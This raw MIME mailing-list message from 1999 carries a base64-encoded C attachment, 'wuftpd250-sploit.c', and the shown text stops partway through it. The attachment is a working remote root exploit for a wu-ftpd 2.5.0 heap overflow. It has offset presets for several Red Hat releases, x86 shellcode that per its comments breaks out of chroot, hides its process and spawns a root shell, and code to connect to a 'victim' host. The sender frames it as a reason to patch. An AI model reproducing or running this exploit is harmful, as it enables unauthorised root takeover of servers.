--0-424238335-943467224=:22389 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline >Kerb wrote: >... >> No exploit has been released to date, even though 2.6.0 is out. >... > >---ifafoffuffoffaf.c--- Here is another - and I'm sure there are more floating around out there... If a vulnerability is reported and a fix provided (as in this case), plug it! Don't wait until you happen to see a public exploit... nuuB __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com --0-424238335-943467224=:22389 Content-Type: application/x-unknown; name="wuftpd250-sploit.c" Content-Transfer-Encoding: base64 Content-Description: wuftpd250-sploit.c Content-Disposition: attachment; filename="wuftpd250-sploit.c" LyoKICogd3VmdHBkMjUwLXNwbG9pdC5jIC0gd3VmdHBkIDIuNS4wIGhhbmRz IHVzIChyZW1vdGUpIHIwMHQgaW4gdGhlIGVuc3VpbmcKICogICAgICAgICAg ICAgICAgICAgICAgY2hhb3MgdGhhdCBmb2xsb3dzIGEgaGVhcCBvdmVyZmxv dy4gTGludXggdmVyc2lvbi4KICoKICogQzBkZWQgYnkgbnV1QiBbU2VwIDE5 LCAxOTk5XQogKgogKiBDb21waWxlIHdpdGg6CiAqCiAqICAgICAgICBjYyB3 dWZ0cGQyNTAtc3Bsb2l0LmMgLW8gd3VmdHBkMjUwLXNwbG9pdAogKgogKiBD cmVkaXRzOgogKiAgICAgICAgdHlwbyBmb3IgaW50ZXJlc3RpbmcgZGlzY3Vz c2lvbnMgYW5kIHRoZSBkb3VibGUgY29tYm8gaWRlYS4KICogICAgICAgIGVk aSBmb3IgdGhlICdlaXAgaW4gUEFTUycgaWRlYS4KICogICAgICAgIGxjYW10 dWYgZm9yIGZpbmRpbmcgdGhlIGJ1ZyBhbmQgcG9zdGluZyBvbiBidWd0cmFx LgogKiAgICAgICAgdGVtYXMgZm9yIGEgUkg2IGJveCB0byB0ZXN0IHRoaXMg b24uCiAqCiAqIFF1b3RlOgogKgogKiAiPHR5cG9fPiBpdCdzIHdpY2tlZC4u LiBidXQgeW91IGNhbiBjaGFuZ2UgZXJyY2F0Y2ggYW5kIExhc3RBcmd2IGF0 IHRoZQogKiAgICAgICAgICBzYW1lIHRpbWUsIHRodXMgZG9pbmcgYW4gZWxp dGUgY29tYm8gYW5kIG93bmluZyB0aGUgZW50aXJlIHdvcmxkIgogKgogKiBC ZWxvdyBpcyBhIGRldGFpbGVkIGRlc2NyaXB0aW9uIG9mIGhvdyB0aGUgZXhw bG9pdCB3b3Jrcy4gWW91IHNob3VsZG4ndAogKiBoYXZlIHRvbyBtdWNoIHRy b3VibGUgdW5kZXJzdGFuZGluZyB3aGF0IGlzIGdvaW5nIG9uLiBUaGUgY29k ZSBpcyB3cml0dGVuCiAqIGZvciByZWFkYWJpbGl0eSBhbmQgcm9ib3VzdG5l c3MgKGkuZSBub3QgdXNpbmcgdGhlICdwcmludGYoKXxuYycgc3R5bGUpLgog KgogKiBIYXZlIGZ1biwgYnV0IGFzIGFsd2F5cyAtIEJFSEFWRSEKICoKICog L251dUIKICovCgovKgogKiBPdmVyZmxvdzoKICogCiAqICAgY3dkKDxFR0c+ KSAtPiBtYXBwaW5nX2NoZGlyKCkgLT4gZG9fZWxlbSgpIC0+IHN0cmNhdCht YXBwZWRfcGF0aCwgZGlyKTsKICoKICogUHNldWRvIGNhbGwgc2VxdWVuY2Ug Zm9yIGVhY2ggcmVjZWl2ZWQgRlRQIGNvbW1hbmQ6CiAqCiAqICAgaWYoY29t bWFuZF9ub3RfaW1wbGVtZW50ZWQpIGxvbmdqbXAoZXJyY2F0Y2gpOwogKiAg IHNldHByb2N0aXRsZSgiPHdobz46IDxjb21tYW5kPiIpOwogKiAgIGRvXzxj b21tYW5kPigpOwogKiAgIHNldHByb2N0aXRsZSgiPHdobz46IElETEUiKTsK ICoKICogd2hlcmUKICoKICogICBzZXRwcm9jdGl0bGUoPHN0cmluZz4pIHsK ICogICAgIGNvcHkgPHN0cmluZz4gdG8gQXJndlswXSBhbmQgcGFkIHdpdGgg c3BhY2VzIHRvIExhc3RBcmd2OwogKiAgIH0KICoKICogRWdnOgogKgogKiAg ICAvaW5jb21pbmcvQS0tQS88YzBkZT4vPGMwZGU+QS0tQS9lZWVlMDAwMDEx MTFvb29vb29vb3Z2dnZMTExMXDAKICogICAgXi0gMCAgICAgICAgICAgXi0g bXBfc2l6ZS0yNTUtMjU2ICAgICAgICAgICAgXi0gbXBfc2l6ZQogKgogKiBQ YWQ6IEEtLUE9cGFkZGluZy9OT1AKICogRGF0YTogZT1laXAgZm9yIHRoZSAy eCBjb21ibyAoc2VlIGJlbG93KSwgMD1vd25lZF9Bcmd2WzBdLCAxPW93bmVk X0FyZ3ZbMV0KICogT3ZlcmZsb3dlZCB2YXJpYWJsZXM6IG89b25lZmlsZSwg dj1Bcmd2IChwdHIgdG8gQXJndlswXSksIEw9TGFzdEFyZ3YKICoKICogbXBf c2l6ZSA9IHNpemVvZihtYXBwZWRfcGF0aCkgKyBhbnkgYWxpZ25tZW50IGJ5 dGVzIGFkZGVkIGJ5IHRoZSBjb21waWxlcgogKgogKiAgIFdlIGNhbid0IGdl dCBlaXAgZGlyZWN0bHksIGJ1dCBhcyBzZXRwcm9jdGl0bGUoKSBjb3BpZXMg ZGF0YSB3ZSBoYXZlIHNvbWUKICogICBjb250cm9sIG92ZXIgdG8gdGhlIGFy ZWEgYmV0d2VlbiBBcmd2WzBdIGFuZCBMYXN0QXJndiB3ZSBjYW4gZG8gc29t ZSBuZWF0CiAqICAgc3R1ZmYuIFRoZXJlIGFyZSBzZXZlcmFsIHdheXMgdG8g ZG8gaXQsIGJ1dCB0aGlzIGV4cGxvaXQgdXNlcyB0aGUgdGhyZWUKICogICBk aWZmZXJlbnQgbWV0aG9kcyBvdXRsaW5lZCBiZWxvdy4KICoKICogQW5vbiBh dHRhY2s6CiAqCiAqICAgV2UgcGxhY2UgdGhlIHBvaW50ZXIgdG8gb3VyIGMw ZGUgaW4gUEFTUyAodXNlZCBpbiBzZXRwcm9jdGl0bGUoIklETEUiKSkuCiAq ICAgZWlwIGNhbiBiZSBzbmFnZ2VkIGluIGRpZmZlcmVudCB3YXlzLiBPbmUg d2F5IGlzIHRvIG92ZXJ3cml0ZSB0aGUgcmV0dXJuCiAqICAgYWRkcmVzcyBv biB0aGUgc3RhY2sgZm9yIHNldHByb2N0aXRsZSgpLCBlc3NlbnRpYWxseSB0 dXJuaW5nIHRoZSBoZWFwCiAqICAgb3ZlcmZsb3cgaW50byBhIHN0YWNrIG92 ZXJmbG93LiBUaGUgbmF0dXJlIG9mIHRoZSBleHBsb2l0IGZvcmNlcyB1cyB0 bwogKiAgIGtub3cgdGhlIGV4YWN0IHBsYWNlIG9uIHRoZSBzdGFjaywgYW5k IHRoaXMgdmFyaWVzIHdpdGggdGhlIGVudmlyb25tZW50LgogKiAgIFRodXMg dGhpcyBtZXRob2QgaXMgdmVyeSB1bnJlbGlhYmxlLCBidXQgaXMgc3RpbGwg aW5jbHVkZWQgYXMgd2UgZG8KICogICB0aGlzIGZvciBmdW4gOikgQSBiZXR0 ZXIgd2F5IGlzIHRvIG92ZXJ3cml0ZSB0aGUgSkJfUEMgcGFydCBvZiBlcnJj YXRjaAogKiAgIGFuZCB0aGVuIGNhdXNlIGVycmNhdGNoIHRvIGJlIGNhbGxl ZCBieSBpc3N1aW5nIGFuIHVuaW1wbGVtZW50ZWQgY29tbWFuZC4KICogICBT dGlsbCwgd2UgbmVlZCB0d28gb2Zmc2V0cywgYnV0IGJvdGggYXJlIG9uIHRo ZSBoZWFwLiBBcyBhIGJvbnVzCiAqICAgdGhpcyBtZXRob2QgY2FuJ3QgYmUg c3RvcHBlZCBieSBTdGFjayBHdWFyZCBvciBub24tZXhlY3V0YWJsZSBzdGFj a3MuCiAqCiAqICAgUmVxdWlyZWQgb2Zmc2V0czogbWFwcGVkX3BhdGgsIHNl dHByb2N0aXRsZSgpIHN0YWNrIGVpcCAvIGVycmNhdGNoLgogKgogKiBBY2Nv dW50IGF0dGFjazogCiAqCiAqICAgVGhlcmUgaXMgbm8gY29udHJvbGxhYmxl IGRhdGEgaW4gdGhlIHNldHByb2N0aXRsZSgiSURMRSIpIGNhbGwgc28gd2Ug dXNlCiAqICAgdHdvIENXRCdzIGFuZCBtYWtlIHVzZSBvZiB0aGUgc2V0cHJv Y3RpdGxlKCJDV0QiKSBjYWxscy4gVGhlIGZpcnN0IENXRAogKiAgIHdpbGwg c2V0IHRoZSBBcmd2IHN0dWZmIHNvIHRoZSBzZWNvbmQgQ1dEICh3aXRoIG91 ciBlaXApIGdldHMgd3JpdHRlbgogKiAgIHdoZXJlIHdlIHdhbnQuIFRoZSBz ZWNvbmQgQ1dEIHdpbGwgaGF2ZSB0byBjaGFuZ2UgdGhlIEFyZ3YncyBzbyB0 aGF0CiAqICAgd2UgZG9uJ3QgZGVzdHJveSB0aGUgZWlwIHdoZW4gdGhlIGZp bmFsIHNldHByb2N0aXRsZSgiSURMRSIpIGNhbGwgY29tZXMuCiAqICAgSW4g dGhpcyBjYXNlIHdlIGNhbid0IHdyaXRlIGVpcCB0byB0aGUgc3RhY2sgYXMg aXQgd2lsbCBiZSBob3NlZCBiZWZvcmUKICogICB3ZSBnZXQgYSBjaGFuY2Ug dG8gdXNlIGl0LiBUaGlzIG1ldGhvZCB3b3JrcyBmb3IgYW5vbnltb3VzIHRv byBhbmQgaXMKICogICB1bnN0b3BwYWJsZSBieSBTdGFjayBHdWFyZCBldGMu CiAqCiAqICAgUmVxdWlyZWQgb2Zmc2V0czogbWFwcGVkX3BhdGgsIGVycmNh dGNoLgogKgogKiBJbnRlcmVzdGluZyBmaW5kaW5nOgogKgogKiAgIFdoZW4g dHJ5aW5nIHRvIENXRCA8b3ZlcmZsb3dpbmcgY29tcG9uZW50PiB5b3UgZ2V0 IGEgMjUwIHJlcGx5IHVuZGVyCiAqICAgUkg1LjEsIGJ1dCB1bmRlciBSSDYu MCB5b3UgZ2V0IGEgNTUwIChpLmUgY2hkaXIoKSBmYWlscykgLSBldmVuIHRo b3VnaAogKiAgIHRoZSBzb3VyY2UgZm9yIHd1ZnRwZCBpcyB0aGUgc2FtZSBp biBib3RoIGNhc2VzLiBUaGlzIHByb2JhYmx5IGhhcyB0byBkbwogKiAgIHdp dGggdGhlIGRpZmZlcmVudCBrZXJuZWwvbGliYydzIGFuZCBob3cgdGhleSBo YW5kbGUgbG9uZyBwYXRocy4gQW55aG93LAogKiAgIHRoaXMgbmVlZHMgdG8g YmUgdGFrZW4gaW50byBhY2NvdW50IGluIHRoZSBkb3VibGUgY29tYm8gYXR0 YWNrLgogKgogKiBPZmZzZXRzOgogKgogKiAgIFRoZSBhYm92ZSBtZXRob2Rz IHJlcXVpcmUgdHdvIG9mZnNldHMgdG8gYmUga25vd24gZXhhY3RseS4gVGhp cyBnaXZlcwogKiAgIHVzIGEgbG90IG9mIGNvbWJpbmF0aW9ucyB0byB0cnku IFRoZSBhbW91bnQgY291bGQgcG9zc2libHkgYmUgcmVkdWNlZAogKiAgIGEg Yml0IHVzaW5nIG1vcmUgZWlwIHBvaW50ZXJzLCBidXQgYXMgbWFwcGVkX3Bh dGggaGFzIHRvIGJlIGtub3duCiAqICAgdGhlIG51bWJlciBvZiBjb21iaW5h dGlvbnMgaXMgYmlnZ2VyIHRoYW4gSSB0aGluayBpcyBwcmFjdGljYWwuIFRo dXMKICogICB0aGVyZSBpcyBubyBvcHRpb24gdG8gZW50ZXIgb2Zmc2V0cyBm cm9tIHRoZSBjb21tYW5kIGxpbmUuCiAqLwoKI2luY2x1ZGUgPHN0ZGlvLmg+ CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5j bHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNp bmNsdWRlIDxhcnBhL2luZXQuaD4KI2luY2x1ZGUgPG5ldGRiLmg+CiNpbmNs dWRlIDxlcnJuby5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxm Y250bC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CiNpbmNsdWRlIDxjdHlwZS5o PgoKZXh0ZXJuIGludCBlcnJubzsKCi8qIE9mZnNldHMgdGhhdCBtdXN0IGJl IGtub3duIChleGFjdGx5KSAqLwppbnQgbWFwcGVkX3BhdGhfc2l6ZTsgLyog bm90IHJlYWxseSBhbiBvZmZzZXQuLi4gbm9ybWFsbHkgMTAyNCBvciA0MDk2 ICovCnVuc2lnbmVkIGxvbmcgbWFwcGVkX3BhdGg7CnVuc2lnbmVkIGxvbmcg ZWlwX2FkZHI7CgovKiBWYWx1ZXMgd2Ugd2FudCB0byBzZXQgdGhlIGNvcnJl c3BvbmRpbmcgdmFyaWFibGVzIHRvLiBDYWxjdWxhdGVkIGZyb20gdGhlCiAq IGFib3ZlIG9mZnNldHMuCiAqLwp1bnNpZ25lZCBsb25nIGMwZGVfYWRkcjsK dW5zaWduZWQgbG9uZyBvd25lZF9Bcmd2MDsKdW5zaWduZWQgbG9uZyBvd25l ZF9Bcmd2Owp1bnNpZ25lZCBsb25nIG93bmVkX0xhc3RBcmd2OwoKI2RlZmlu ZSBUT1BfT0ZfU1RBQ0sgMHhjMDAwMDAwMAoKLyogVmFyaWFibGUgdGhhdCBk ZWNpZGVzIGlmIG1rZF9jd2QoKSBhYm9ydHMgb24gZXJyb3JzIG9yIG5vdCAq LwppbnQgbWtkX2N3ZF9iYWlsX29uX2Vycm9yPTE7CgovKiBMZXRzIHN0YXJ0 IGNvbGxlY3Rpbmcgb2Zmc2V0cy4uLiAqLwoKc3RydWN0IHByZXNldCB7CiAg Y2hhciAqZGVzYzsKICB2b2lkICgqYXR0YWNrKSgpOwogIGludCBtcHNpemU7 CiAgdW5zaWduZWQgbG9uZyBtcDsKICB1bnNpZ25lZCBsb25nIGVpcF9hZGRy Owp9OwoKdm9pZCBhdHRhY2tfYW5vbigpOwp2b2lkIGF0dGFja19hbnkoKTsK Ci8qIE9mZnNldHMgY2FuIGJlIGZvdW5kIHVzaW5nIGdkYiwgb2JqZHVtcCBv ciBsdHJhY2UgKi8KCnN0cnVjdCBwcmVzZXQgcHJlc2V0c1tdPXsKICB7ImVp cCAgIFJIIDYuMCAgd3UtZnRwZC0yLjUuMC0yLmkzODYucnBtICAgICAgICBU dWUgSnVuIDggMDg6NTU6MTIgRURUIDE5OTkiLAogICBhdHRhY2tfYW5vbiwg NDA5NiwgMHgwODA2YTFlMCwgMHhiZmZmZThhNH0sCiAgCiAgeyJsam1wICBS SCA1LjEgIHd1LWZ0cGQtMi41LjAtMS5SSDUtMS5pMzg2LnJwbSAgRnJpIE1h eSAyMSAxMDo0NTo1NyBFRFQgMTk5OSIsCiAgIGF0dGFja19hbm9uLCAxMDI0 LCAweDA4MDY2ODkwLCAweDA4MDZmY2MwKzUqNH0sCiAgeyJsam1wICBSSCA1 LjIgIHd1LWZ0cGQtMi41LjAtMC41LjIuaTM4Ni5ycG0gICAgVHVlIEp1biA4 IDExOjE5OjQ0IEVEVCAxOTk5IiwKICAgYXR0YWNrX2Fub24sIDEwMjQsIDB4 MDgwNjc1MDQsIDB4MDgwNzA5MzArNSo0fSwKICB7ImxqbXAgIFJIIDYuMCAg d3UtZnRwZC0yLjQuMnZyMTctMy5pMzg2LnJwbSAgICBNb24gQXByIDE5IDA5 OjIxOjUzIEVEVCAxOTk5IiwKICAgYXR0YWNrX2Fub24sIDQwOTYsIDB4MDgw Njc3ODAsIDB4MDgwNzU1MjArNSo0fSwKICB7ImxqbXAgIFJIIDYuMCAgd3Ut ZnRwZC0yLjUuMC0yLmkzODYucnBtICAgICAgICBUdWUgSnVuIDggMDg6NTU6 MTIgRURUIDE5OTkiLAogICBhdHRhY2tfYW5vbiwgNDA5NiwgMHgwODA2YTFl MCwgMHgwODA3N2ZjMCs1KjR9LAoKICB7IjJ4ICAgIFJIIDUuMSAgd3UtZnRw ZC0yLjUuMC0xLlJINS0xLmkzODYucnBtICBGcmkgTWF5IDIxIDEwOjQ1OjU3 IEVEVCAxOTk5IiwKICAgYXR0YWNrX2FueSwgMTAyNCwgMHgwODA2Njg5MCwg MHgwODA2ZmNjMCs1KjR9LAogIHsiMnggICAgUkggNS4yICB3dS1mdHBkLTIu NS4wLTAuNS4yLmkzODYucnBtICAgIFR1ZSBKdW4gOCAxMToxOTo0NCBFRFQg MTk5OSIsCiAgIGF0dGFja19hbnksIDEwMjQsIDB4MDgwNjc1MDQsIDB4MDgw NzA5MzArNSo0fSwKICB7IjJ4ICAgIFJIIDYuMCAgd3UtZnRwZC0yLjQuMnZy MTctMy5pMzg2LnJwbSAgICBNb24gQXByIDE5IDA5OjIxOjUzIEVEVCAxOTk5 IiwKICAgYXR0YWNrX2FueSwgNDA5NiwgMHgwODA2Nzc4MCwgMHgwODA3NTUy MCs1KjR9LAogIHsiMnggICAgUkggNi4wICB3dS1mdHBkLTIuNS4wLTIuaTM4 Ni5ycG0gICAgICAgIFR1ZSBKdW4gOCAwODo1NToxMiBFRFQgMTk5OSIsCiAg IGF0dGFja19hbnksIDQwOTYsIDB4MDgwNmExZTAsIDB4MDgwNzdmYzArNSo0 fSwKCiAgezAsMCwwLDAsMH0KfTsKCgovKiBTb21lIHN0dWZmIHdlIG5lZWQg Ki8KCmludCBjdHJsOwppbnQgdmVyYm9zZTsKY2hhciAqbG9jYWxfaG9zdG5h bWU7CgpjaGFyICp0YXJnZXRfaG9zdDsKaW50ICAgdGFyZ2V0X3BvcnQ7CmNo YXIgKnRhcmdldF91c2VyPTA7CmNoYXIgKnRhcmdldF9wYXNzPTA7CmNoYXIg KnRhcmdldF9kaXI9MDsKCi8qCiAqIFRoaXMgYzBkZSBicmVha3Mgb3V0IG9m IGNocm9vdCgpIGFuZCB0aGVuIGdvZXMgdGhyb3VnaCBhIGxvdCBvZiB0cm91 YmxlCiAqIHRvIGhpZGUgdGhlIHByb2Nlc3MgZnJvbSB0aGUgc3lzdGVtIG9w ZXJhdG9yLiBGaW5hbGx5IGEgc2hlbGwgaXMgc3Bhd25lZC4KICoKICogYzBk ZToKICoKICogICBzZXRyZXVpZCgwLDApOyBta2RpcigiaCIpOyBjaHJvb3Qo ImgiKTsgZm9yKGk9MHg0MjtpOy0taSkgY2hkaXIoIi4uIik7CiAqICAgY2hy b290KCIuIik7IGhpZGVfcHJvY2VzcygpOyBleGVjdmUoIi9iaW4vc2giKTsK ICoKICogTjBuMCBjMGRlejogMHgwMCwgMHgwYSwgMHgwZCBhbmQgZm9yIGNv bnZlbmllbmNlIDB4MmYgKCcvJykuCiAqLwoKLyogTm90IG9wdGltaXplZCBm b3Igc3BhY2UgYXMgd2UgZ290IHBsZW50eSBvZiByb29tICovCgojZGVmaW5l IEMwREVfU0laRSA0MDIKCmNoYXIgYzBkZVtdPSJceGJjXHhmY1x4ZmZceGZm XHhiZlx4ZWJceDAyXHhlYlx4MWNceGU4XHhmOVx4ZmZceGZmXHhmZlx4MmVc eDJlIgogICAgICAgICAgICAiXHgzMFx4NTNceDY0XHg2NVx4NzZceDUzXHg2 M1x4NmZceDZlXHg3M1x4NmZceDZjXHg2NVx4MzBceDUzXHg2MiIKICAgICAg ICAgICAgIlx4NjlceDZlXHg1M1x4NzNceDY4XHg1ZFx4MzFceGMwXHg4OFx4 NDVceDAyXHg4OFx4NDVceDBmXHg4OFx4NDUiCiAgICAgICAgICAgICJceDE3 XHg4ZFx4NWRceDE1XHg4OVx4NWRceDE4XHg4OVx4NDVceDFjXHgwNFx4MmVc eDQwXHg4OFx4NDVceDAzIgogICAgICAgICAgICAiXHg4OFx4NDVceDA3XHg4 OFx4NDVceDEwXHg4OFx4NDVceDE0XHgzMVx4YzBceDg5XHhjM1x4ODlceGMx XHhiMCIKICAgICAgICAgICAgIlx4NDZceGNkXHg4MFx4OGRceDVkXHgxNlx4 MzFceGM5XHg2Nlx4YjlceDZkXHgwMVx4MzFceGMwXHhiMFx4MjciCiAgICAg ICAgICAgICJceGNkXHg4MFx4OGRceDVkXHgxNlx4MzFceGMwXHhiMFx4M2Rc eGNkXHg4MFx4MzFceGM5XHhiMVx4NDJceDg5IgogICAgICAgICAgICAiXHhl Ylx4MzFceGMwXHhiMFx4MGNceGNkXHg4MFx4NDlceDc1XHhmNVx4OGRceDVk XHgwMVx4MzFceGMwXHhiMCIKICAgICAgICAgICAgIlx4M2RceGNkXHg4MFx4 ZWJceDVkXHg4ZFx4NTVceDFjXHg4ZFx4NGRceDE4XHg4ZFx4NWRceDEwXHgz MVx4YzAiCiAgICAgICAgICAgICJceGIwXHgwYlx4Y2RceDgwXHgzMVx4ZGJc eDMxXHhjMFx4YjBceDAxXHhjZFx4ODBceDJhXHgwMlx4MDJceDA0IgogICAg ICAgICAgICAiXHgwNFx4MDFceDAxXHgwMVx4MDFceDA0XHgwNFx4MDJceDAy XHg4OVx4ZjNceDY2XHhiOVx4MzJceDRiXHgzMSIKICAgICAgICAgICAgIlx4 YzBceGIwXHgzNlx4Y2RceDgwXHhjM1x4ODlceGMyXHg1M1x4YzFceGUzXHgx MFx4MDlceGRhXHg4OVx4ZjMiCiAgICAgICAgICAgICJceDY2XHhiOVx4MzBc eDRiXHgzMVx4YzBceGIwXHgzNlx4Y2RceDgwXHg1YVx4YzFceGUyXHgxNFx4 ODlceDU1IgogICAgICAgICAgICAiXHgwOFx4MzFceGMwXHg4OVx4NDVceDA0 XHg4ZFx4NWRceDA0XHgzMVx4YzlceGIwXHhhMlx4Y2RceDgwXHhjMyIKICAg ICAgICAgICAgIlx4ZWJceGIyXHg4ZFx4NWRceDAzXHgzMVx4YzlceGIxXHgw Mlx4MzFceGMwXHhiMFx4MDVceGNkXHg4MFx4ODkiCiAgICAgICAgICAgICJc eGM2XHgzMVx4YzBceGIwXHg5Ylx4MDFceGU4XHg4OVx4NDVceDEwXHgzMVx4 ZGJceGIzXHhhOFx4OTBceDkwIgogICAgICAgICAgICAiXHgwMVx4ZWJceDg5 XHg1ZFx4MThceDMxXHhjMFx4YjBceDhlXHgwMVx4ZThceDg5XHg0NVx4MGNc eDMxXHhjOSIKICAgICAgICAgICAgIlx4YjFceDA2XHg1MVx4NTlceDQ5XHg1 MVx4ZTNceGM4XHgzMVx4YzBceDQwXHg4Ylx4NWRceDBjXHg4OFx4MDMiCiAg ICAgICAgICAgICJceDMxXHhmZlx4NjZceGJmXHg1Y1x4MTJceDg5XHhmOFx4 MzFceGRiXHhiM1x4MjhceGZmXHg1NVx4MThceDhiIgogICAgICAgICAgICAi XHg1ZFx4MGNceDMxXHhjMFx4OGFceDAzXHg1MFx4MDNceDQ1XHgwY1x4MzFc eGQyXHg4YVx4MTBceDU4XHg0MCIKICAgICAgICAgICAgIlx4ODNceGY4XHgw Y1x4NzVceDAzXHgzMVx4YzBceDQwXHg4OFx4MDNceGZmXHg1NVx4MTBceDMx XHhjMFx4YjAiCiAgICAgICAgICAgICJceDQ3XHgyOVx4YzdceDY2XHg4MVx4 ZmZceDYwXHgwOVx4NzNceGNjXHgzMVx4ZmZceDY2XHhiZlx4NjBceDA5Igog ICAgICAgICAgICAiXHgwZlx4YmFceGU3XHgwMVx4NzNceDA3XHgzMVx4ZDJc eGIyXHgwN1x4ZmZceDU1XHgxMFx4ODlceGY4XHgzMSIKICAgICAgICAgICAg Ilx4ZGJceGIzXHgyOFx4ZmZceDU1XHgxOFx4MGZceGJhXHhlN1x4MDFceDcz XHgwN1x4MzFceGQyXHgzMVx4ZDIiCiAgICAgICAgICAgICJceGZmXHg1NVx4 MTBceDMxXHhjMFx4YjBceDY1XHgwMVx4YzdceDY2XHg4MVx4ZmZceDVjXHgx Mlx4NzZceGQwIgogICAgICAgICAgICAiXHhlYlx4ODEiOwoKdm9pZCB1c2Fn ZSgpIHsKICBpbnQgaTsKCiAgcHJpbnRmKCJ3dWZ0cGQgMi41LjAgcmVtb3Rl IHIwMHQgZXhwbG9pdC4gQzBkZWQgYnkgbnV1QiBbU2VwIDE5LCAxOTk5XS5c blxuIgoJICJVc2FnZTogd3VmdHBkMjUwLXNwbG9pdCA8dGFyZ2V0PiA8dHlw ZT5cblxuIgoJICI8dGFyZ2V0PiA9IFs8dXNlcj46PHBhc3M+QF08aG9zdD5b Ojxwb3J0Pl1bLzx3cml0YWJsZSBkaXI+XVxuXG4iCgoiVHlwZSBOZWVxICBE aXN0cm8gIFJQTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQmFubmVy IGRhdGVcbiIKIi0tLS0gLS0tLSAgLS0tLS0tICAtLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1c biIpOwoKICBmb3IoaT0wOyBwcmVzZXRzW2ldLmRlc2M7ICsraSkgewogICAg aWYocHJlc2V0c1tpXS5tcHNpemUpCiAgICAgIHByaW50ZigiJTJkKSAgJXNc biIsIGksIHByZXNldHNbaV0uZGVzYyk7CiAgfQoKICBwcmludGYoIlxuIgog ICIgZWlwICAgPSBzZXRwcm9jdGl0bGUoKSBlaXAgb3ZlcndyaXRlIChzdGFj aywgdW5yZWxpYWJsZSwgYW5vbnltb3VzIG9ubHkpXG4iCiAgIiBsam1wICA9 IGVycmNhdGNoIEpCX1BDIG92ZXJ3cml0ZSAoaGVhcCwgYW5vbnltb3VzIG9u bHkpXG4iCiAgIiAyeCAgICA9IGVycmNhdGNoIEpCX1BDIG92ZXJ3cml0ZSB1 c2luZyAyeCBjb21ibyAoaGVhcClcbiIpOwogIGV4aXQoMCk7Cn0KCgp2b2lk IHBhcnNlX3VybChjaGFyICp1cmwpIHsKICBjaGFyICp1LCAqczsKCiAgdT1z dHJkdXAodXJsKTsKICBpZigocz1zdHJyY2hyKHUsICdAJykpKSB7CiAgICAq cysrPTA7CiAgICB0YXJnZXRfdXNlcj11OwogICAgdT1zOwogICAgaWYoIShz PXN0cmNocih0YXJnZXRfdXNlciwgJzonKSkpIHVzYWdlKCk7CiAgICAqcysr PTA7CiAgICB0YXJnZXRfcGFzcz1zOwogIH0KICB0YXJnZXRfaG9zdD11Owog IGlmKCh1PXN0cmNocih1LCAnLycpKSkgewogICAgdGFyZ2V0X2Rpcj1zdHJk dXAodSk7CiAgICAqdT0wOwogIH0KICBpZigocz1zdHJjaHIodGFyZ2V0X2hv c3QsICc6JykpKSB7CiAgICAqcysrPTA7CiAgICBpZighaXNkaWdpdCgqcykp IHVzYWdlKCk7CiAgICB0YXJnZXRfcG9ydD1hdG9pKHMpOwogIH0KICBlbHNl CiAgICB0YXJnZXRfcG9ydD0yMTsKfQoKCnZvaWQgYmFpbGUoY2hhciAqcykg ewogIHByaW50ZigiKioqICVzIFtlcnJubz0lZCAtICVzXVxuIiwgcywgZXJy bm8sIHN0cmVycm9yKGVycm5vKSk7CiAgZXhpdCgxKTsKfQoKCnZvaWQgYmFp bChjaGFyICpzKSB7CiAgcHJpbnRmKCIqKiogJXNcbiIsIHMpOwogIGV4aXQo MSk7Cn0KCgovKiBTaG91bGQgd29yayBvbiBhbGwgcGxhdGZvcm1zICovCgpj aGFyICpodG9sX0xFc3RyKHVuc2lnbmVkIGxvbmcgbnVtKSB7CiAgc3RhdGlj IHVuc2lnbmVkIGNoYXIgYnVmWzVdOwogIHVuc2lnbmVkIGxvbmcgbjsKCiAg bj1odG9ubChudW0pOwogIGJ1ZlswXT0obj4+MjQpJjB4ZmY7CiAgYnVmWzFd PShuPj4xNikmMHhmZjsKICBidWZbMl09KG4+PjgpJjB4ZmY7CiAgYnVmWzNd PW4mMHhmZjsKICBidWZbNF09MDsKCiAgaWYoc3RybGVuKGJ1ZikgIT0gNCB8 fAogICAgIHN0cmNocihidWYsICdccicpIHx8IHN0cmNocihidWYsICdcbicp IHx8IHN0cmNocihidWYsICcvJykpIHsKICAgIHByaW50ZigiKioqIElsbGVn YWwgY2hhciBpbiBudW1iZXIgMHglMDh4IGZvdW5kIVxuXG4iLCAodW5zaWdu ZWQgaW50KW51bSk7CiAgICBiYWlsKCJTcGxvaXQgbmVlZHMgdG8gYmUgc2xp Z2h0bHkgcmVhbGlnbmVkLiBObyBwcm9ibGVtcywgcmlnaHQga2lkej8gQn0i KTsKICB9CiAgcmV0dXJuIGJ1ZjsKfQoKCmludCBjb25uZWN0X2hvc3QoKSB7 CiAgY2hhciAqcDsKICBpbnQgZmQ7CiAgc3RydWN0IHNvY2thZGRyX2luIHRh cmdldCwgbWU7CiAgc3RydWN0IGhvc3RlbnQgKmhlOwogIGludCBtZV9sZW47 CgogIC8qIENvbm5lY3QgdG8gdmljdGltICovCiAgbWVtc2V0KCZ0YXJnZXQs IDAsIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHJfaW4pKTsKICB0YXJnZXQuc2lu X2ZhbWlseT1BRl9JTkVUOwogIGlmKCFpbmV0X2F0b24odGFyZ2V0X2hvc3Qs ICZ0YXJnZXQuc2luX2FkZHIpKSB7CiAgICBpZighKGhlPWdldGhvc3RieW5h bWUodGFyZ2V0X2hvc3QpKSkKICAgICAgYmFpbGUoIlVuYWJsZSB0byByZXNv bHZlIHZpY3RpbSBob3N0bmFtZS4iKTsKICAgIG1lbWNweSgoY2hhciAqKSZ0 YXJnZXQuc2luX2FkZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7CiAg fQogIHRhcmdldC5zaW5fcG9ydD1odG9ucyh0YXJnZXRfcG9ydCk7CiAgaWYo KGZkPXNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCkpPDApIGJhaWxl 